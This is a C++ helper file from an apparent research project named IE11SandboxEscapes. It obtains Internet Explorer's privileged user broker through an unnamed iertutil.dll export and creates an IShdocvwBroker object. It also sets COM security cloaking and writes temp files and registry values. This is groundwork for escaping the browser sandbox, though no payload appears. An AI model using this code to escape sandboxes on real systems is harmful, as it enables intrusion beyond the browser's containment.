// This file is part of IE11SandboxEsacapes. // IE11SandboxEscapes is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // IE11SandboxEscapes is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with IE11SandboxEscapes. If not, see . #include "stdafx.h" #include "Utils.h" #include #include #include #pragma comment(lib, "shlwapi.lib") static BOOL g_hasShDocIID; static IID g_shDocIID; BOOL GetIIDForName(LPCWSTR lpName, IID* riid) { HKEY hRoot = nullptr; ULONG status; status = RegOpenKeyEx(HKEY_CLASSES_ROOT, L"Interface", 0, KEY_ENUMERATE_SUB_KEYS, &hRoot); if (status == 0) { WCHAR keyName[128]; DWORD index = 0; BOOL foundKey = FALSE; while (true) { HKEY hSubKey; status = RegEnumKeyW(hRoot, index, keyName, _countof(keyName)); if (status != 0) { break; } index++; status = RegOpenKeyEx(hRoot, keyName, 0, KEY_QUERY_VALUE, &hSubKey); if (status != 0) { continue; } DWORD dwType; WCHAR valueName[256]; DWORD dwSize = sizeof(valueName)-sizeof(WCHAR); status = RegQueryValueEx(hSubKey, nullptr, nullptr, &dwType, (BYTE*)valueName, &dwSize); RegCloseKey(hSubKey); if ((status != 0) || (dwType != REG_SZ)) { continue; } // Ensure NUL terminate valueName[dwSize / sizeof(WCHAR)] = 0; if (_wcsicmp(valueName, lpName) == 0) { foundKey = TRUE; break; } } RegCloseKey(hRoot); if (foundKey) { return SUCCEEDED(IIDFromString(keyName, riid)); } } else { DebugPrintf("Could not open Interface key %d\n", status); } return FALSE; } REFIID GetSHDocIID() { if (!g_hasShDocIID) { memset(&g_shDocIID, 0, sizeof(g_shDocIID)); g_hasShDocIID; GetIIDForName(L"ISHDocVwBroker", &g_shDocIID); } return g_shDocIID; } bstr_t GetTemp(LPCWSTR name) { WCHAR tempPath[MAX_PATH]; GetTempPath(MAX_PATH, tempPath); PathAppend(tempPath, name); return tempPath; } bstr_t GetTempPath() { WCHAR tempPath[MAX_PATH]; GetTempPath(MAX_PATH, tempPath); return tempPath; } bstr_t WriteTempFile(LPCWSTR name, unsigned char* buf, size_t len) { WCHAR tempPath[MAX_PATH]; GetTempPath(MAX_PATH, tempPath); PathAppend(tempPath, name); FILE* fp = nullptr; if (_wfopen_s(&fp, tempPath, L"wb") == 0) { fwrite(buf, 1, len, fp); fclose(fp); return tempPath; } else { return L""; } } std::vector ReadFileToMem(LPCWSTR name) { FILE* fp; std::vector ret; if (_wfopen_s(&fp, name, L"rb") == 0) { fseek(fp, 0, SEEK_END); ret.resize(ftell(fp)); fseek(fp, 0, SEEK_SET); fread(&ret[0], 1, ret.size(), fp); fclose(fp); } return ret; } void DebugPrintf(LPCSTR lpFormat, ...) { #ifdef _DEBUG CHAR buf[1024]; va_list va; va_start(va, lpFormat); StringCbVPrintfA(buf, sizeof(buf), lpFormat, va); OutputDebugStringA(buf); #endif } bstr_t GetUserSid() { HANDLE hToken = nullptr; PTOKEN_USER pUser = nullptr; LPWSTR userName = nullptr; bstr_t ret; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) { DebugPrintf("Error opening process token: %d", GetLastError()); goto error; } //TOKEN_USER user = { 0 }; DWORD retLength = 0; if (!GetTokenInformation(hToken, TokenUser, nullptr, 0, &retLength)) { if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) { DebugPrintf("Error getting token information size: %d", GetLastError()); goto error; } } pUser = (PTOKEN_USER) new char[retLength]; if (!GetTokenInformation(hToken, TokenUser, pUser, retLength, &retLength)) { DebugPrintf("Error getting token information: %d", GetLastError()); goto error; } if (!ConvertSidToStringSidW(pUser->User.Sid, &userName)) { DebugPrintf("Error converting Sid to String: %d", GetLastError()); goto error; } ret = userName; error: if (hToken) { CloseHandle(hToken); } if (pUser) { delete[] pUser; } if (userName) { LocalFree(userName); } return ret; } typedef HRESULT(__stdcall *fCoCreateUserBroker)(IIEUserBroker** ppBroker); GUID CLSID_CShdocvwBroker = { 0x9C7A1728, 0x0B694, 0x427A, { 0x94, 0xA2, 0xA1, 0xB2, 0xC6, 0x0F, 0x03, 0x60 } }; void DisableImpersonation(IUnknown* pUnk) { IClientSecurity* sec = nullptr; HRESULT hr = pUnk->QueryInterface(IID_PPV_ARGS(&sec)); if (SUCCEEDED(hr)) { hr = sec->SetBlanket(pUnk, RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT, nullptr, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_ANONYMOUS, nullptr, EOAC_NONE); DebugPrintf("SetBlanket: %08X", hr); sec->Release(); } else { DebugPrintf("Error getting client security: %08X", hr); } } void SetCloaking(IUnknown* pUnk) { IClientSecurity* sec = nullptr; HRESULT hr = pUnk->QueryInterface(IID_PPV_ARGS(&sec)); if (SUCCEEDED(hr)) { hr = sec->SetBlanket(pUnk, RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT, nullptr, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IDENTIFY, nullptr, EOAC_DYNAMIC_CLOAKING); DebugPrintf("SetBlanket: %08X", hr); sec->Release(); } else { DebugPrintf("Error getting client security: %08X", hr); } } IIEUserBrokerPtr CreateBroker() { HMODULE hMod = LoadLibrary(L"iertutil.dll"); fCoCreateUserBroker pfCoCreateUserBroker = (fCoCreateUserBroker)GetProcAddress(hMod, (LPCSTR)58); if (pfCoCreateUserBroker) { IIEUserBrokerPtr broker; HRESULT ret = pfCoCreateUserBroker(&broker); DebugPrintf("CreateBroker: %08X - %p", ret, broker); return broker; } return nullptr; } IShdocvwBroker* CreateSHDocVw() { IIEUserBrokerPtr broker = CreateBroker(); if (broker != nullptr) { HRESULT ret; IShdocvwBroker* shdocvw; ret = broker->BrokerCreateKnownObject(CLSID_CShdocvwBroker, GetSHDocIID(), (IUnknown**)&shdocvw); DebugPrintf("IShdocvwBroker: %08X %p", ret, shdocvw); if (SUCCEEDED(ret)) { return shdocvw; } } return nullptr; } bstr_t GetWindowsSystemDirectory() { WCHAR buf[MAX_PATH]; GetSystemDirectory(buf, MAX_PATH); return buf; } bstr_t GetExecutableFileName(HMODULE hModule) { WCHAR buf[MAX_PATH]; ::GetModuleFileNameW(hModule, buf, MAX_PATH); return buf; } bstr_t GetSessionPath() { std::wstringstream ss; WCHAR objPath[MAX_PATH + 1] = { 0 }; ULONG length = MAX_PATH; DWORD dwSessionId; if (ProcessIdToSessionId(GetCurrentProcessId(), &dwSessionId)) { ss << L"\\Sessions\\" << dwSessionId; return ss.str().c_str(); } return L""; } LSTATUS CreateRegistryValueString(HKEY hKey, LPCWSTR lpName, LPCWSTR lpString) { return RegSetValueEx(hKey, lpName, 0, REG_SZ, (const BYTE*)lpString, (wcslen(lpString) + 1) * sizeof(WCHAR)); } LSTATUS CreateRegistryValueDword(HKEY hKey, LPCWSTR lpName, DWORD d) { return RegSetValueEx(hKey, lpName, 0, REG_DWORD, (const BYTE*)&d, sizeof(d)); }